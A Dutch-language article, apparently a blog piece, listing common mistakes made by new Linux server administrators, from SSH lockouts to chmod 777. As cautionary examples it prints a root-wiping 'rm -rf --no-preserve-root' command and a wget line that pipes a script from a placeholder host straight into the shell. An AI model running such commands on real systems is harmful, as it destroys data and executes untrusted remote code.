De Linux-opdrachtregel geeft serverbeheerders controle over hun servers en de gegevens die erop zijn opgeslagen, maar het weerhoudt hen er weinig van om destructieve opdrachten uit te voeren met gevolgen die niet ongedaan kunnen worden gemaakt. Per ongeluk verwijderen van gegevens is slechts één soort fout die nieuwe serverbeheerders maken.
De sleutels binnen vergrendelen
Serverbeheerders maken verbinding met servers met SSH, een service die meestal op poort 22 wordt uitgevoerd en een inlogshell biedt waarmee geverifieerde gebruikers opdrachten kunnen uitvoeren op externe servers. Een standaard beveiligingsstap is het configureren van SSH om verbindingen op een andere poort te accepteren. Het verplaatsen van SSH naar een willekeurige poort met een hoog nummer beperkt de impact van brute-force-aanvallen; hackers kunnen geen kwaadwillende logins proberen wanneer ze de poort waarop SSH luistert niet kunnen vinden.
Een beheerder die SSH configureert om op een andere poort te luisteren en vervolgens de SSH-server opnieuw opstart, kan ontdekken dat niet alleen hackers worden buitengesloten. Als de firewall van de server niet ook opnieuw is geconfigureerd om verbindingen op de nieuwe poort toe te staan, zullen pogingen om verbinding te maken nooit de SSH-server bereiken. De beheerder wordt buitengesloten van zijn server zonder enige manier om het probleem op te lossen, behalve door een ondersteuningsticket te openen bij zijn hostingprovider. Als u de SSH-poort wijzigt, zorg er dan voor dat u de nieuwe poort opent in de firewallconfiguratie van uw server.
Een gemakkelijk te raden wachtwoord kiezen
Brute-force-aanvallen zijn een raadspel. De aanvaller probeert veel gebruikersnamen en wachtwoorden totdat ze een combinatie vinden waarmee ze binnen kunnen. Een woordenboekaanval is een meer verfijnde aanpak waarbij gebruik wordt gemaakt van lijsten met wachtwoorden, vaak verzameld uit gelekte wachtwoorddatabases. Aanvallen tegen het root-account zijn gemakkelijker dan tegen andere accounts omdat de aanvaller de gebruikersnaam al kent. Als een root-account een eenvoudig wachtwoord heeft, kan het in een mum van tijd worden gehackt.
Er zijn drie manieren om je te verdedigen tegen zowel brute-force- als woordenboekaanvallen tegen het root-account.
- Kies een lang en complex wachtwoord. Eenvoudige wachtwoorden zijn gemakkelijk te kraken; lange en complexe wachtwoorden zijn onmogelijk.
- Configureer SSH om root-aanmeldingen niet toe te staan. Dit is een eenvoudige configuratiewijziging, maar zorg ervoor dat "sudo" is geconfigureerd zodat uw account zijn privileges kan verhogen.
- Gebruik op sleutels gebaseerde authenticatie in plaats van wachtwoorden. Op certificaten gebaseerde aanmeldingen nemen het risico van brute-force-aanvallen volledig weg.
Opdrachten kopiëren die u niet begrijpt
Stack Exchange, Server Fault en vergelijkbare sites zijn een reddingslijn voor nieuwe Linux-systeembeheerders, maar u moet de verleiding weerstaan om een shell-opdracht te kopiëren en te plakken die u niet begrijpt. Wat is het verschil tussen deze twee commando's??
sudo rm -rf --no-preserve-root /mnt/mydrive/sudo rm -rf --no-preserve-root /mnt/mydrive /
Het is gemakkelijk te zien wanneer ze samen worden weergegeven, maar niet zo gemakkelijk wanneer u door forums zoekt op zoek naar een opdracht om de inhoud van een gekoppeld volume te verwijderen. De eerste opdracht verwijdert alle bestanden op de aangekoppelde schijf. De tweede opdracht verwijdert die bestanden en alles op het rootbestandssysteem van de server. Het enige verschil is de spatie voor de laatste schuine streep.
Serverbeheerders kunnen lange opdrachten tegenkomen met pijplijnen waarvan wordt gezegd dat ze het ene doen, maar totaal iets anders. Wees vooral voorzichtig met opdrachten die code van internet downloaden.
wget http://voorbeeld.com/verybadscript -O - | sh -Deze opdracht gebruikt wget om een script te downloaden dat naar de shell wordt doorgesluisd en wordt uitgevoerd. Om dit veilig uit te voeren, moet u begrijpen wat de opdracht doet en ook wat het gedownloade script doet, inclusief alle code die het gedownloade script zelf kan downloaden.
Inloggen als root
Terwijl gewone gebruikers alleen bestanden in hun thuismap kunnen wijzigen, is er weinig dat de rootgebruiker niet kan doen op een Linux-server. Het kan elke software uitvoeren, alle gegevens lezen en elk bestand verwijderen.
Toepassingen die door de rootgebruiker worden uitgevoerd, hebben dezelfde kracht. Het is handig om ingelogd te zijn als rootgebruiker omdat je niet altijd "sudo" of "su" hoeft te doen, maar het is gevaarlijk. Een typefout kan uw server binnen enkele seconden vernietigen. Buggysoftware van de rootgebruiker kan een catastrofe veroorzaken. Voor dagelijkse operaties, log in als een gewone gebruiker en verhoog alleen root-rechten als dat nodig is.
Bestandssysteemmachtigingen niet leren
Bestandssysteemmachtigingen kunnen verwarrend en frustrerend zijn voor nieuwe Linux-gebruikers. Een machtigingsreeks zoals "drwxr-xr-x" ziet er in eerste instantie zinloos uit, en machtigingen kunnen u ervan weerhouden bestanden aan te passen en te voorkomen dat software doet wat u wilt dat het doet.
Systeembeheerders leren snel dat chmod 777 een magische bezwering is die de meeste van deze problemen oplost, maar het is een vreselijk idee. Hiermee kan iedereen met een account het bestand lezen, schrijven en uitvoeren. Als je die opdracht uitvoert in de directory van een webserver, vraag je om gehackt te worden. Linux-bestandsrechten zien er ingewikkeld uit, maar als u een paar minuten de tijd neemt om te leren hoe ze werken, zult u een logisch en flexibel systeem ontdekken voor het beheren van de bestandstoegang.
In een tijdperk waarin eenvoudige gebruikerservaringen belangrijker zijn dan alle andere factoren, blijft de Linux-opdrachtregel resoluut complex en bestand tegen vereenvoudiging. Je kunt niet doormodderen en hopen dat het allemaal goed komt. Het komt niet goed en je krijgt een ramp in je handen.
Maar als u de basis leert - bestandsrechten, opdrachtregelprogramma's en hun opties, best practices op het gebied van beveiliging - kunt u een meester worden van een van de krachtigste computerplatforms die ooit zijn gemaakt.